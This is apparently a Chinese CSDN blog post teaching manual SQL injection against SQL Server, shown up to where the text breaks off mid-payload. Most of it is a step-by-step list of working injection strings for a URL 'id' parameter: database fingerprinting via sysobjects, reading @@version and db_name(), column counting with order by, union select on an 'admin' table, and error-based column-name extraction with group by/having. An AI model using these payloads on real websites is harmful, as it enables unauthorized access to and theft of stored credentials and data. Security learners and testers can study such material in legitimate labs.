针对sqlserver的sql注入漏洞(sqlsverver版)

最新推荐文章于 2024-05-15 22:06:46 发布

白瞳洛

最新推荐文章于 2024-05-15 22:06:46 发布

阅读量953

点赞数

分类专栏： sql注入漏洞

本文链接：https://blog.csdn.net/qq_39693164/article/details/107926033

版权

本文详细介绍了针对SQLServer的SQL注入漏洞利用方法，包括判断数据库类型、版本、名称，探测字段数量和表结构，以及使用sqlmap工具进行数据库和表的探测。通过实例展示了如何获取数据，强调了SQL注入的简单过程。

摘要由CSDN通过智能技术生成

例如

从上往下一直走-->(下面的纯手打，注意中英文符号)

id=1-1 and 1=1是否存在漏洞
id=1-1 and exists(select * from sysobjects) --判断数据库类型，这个是判断sqlserver数据库的
id=1-1 and (select @@version)>0 --判断数据库的版本
id=1-1 and (select db_name()) --判断数据库名称
id=1-1 order by 1/....../10.... --判断字段有多少报错(超出xxx个字段)
id=1-1 union select 1，2，3，4,..... from admin --表的行字段（几个字段就写到几）
id=1-1 having 1=1 -- 列的id列第一列名称
id=1 group by admin.id having 1=1 --列的第二个字段名称
id=1 group by admin.id,admin.context having 1=1 --列的第三个字段名称 (都报错出现admin.xxx无效)
id=1 group by admin.id,admin.context,admin.username having 1&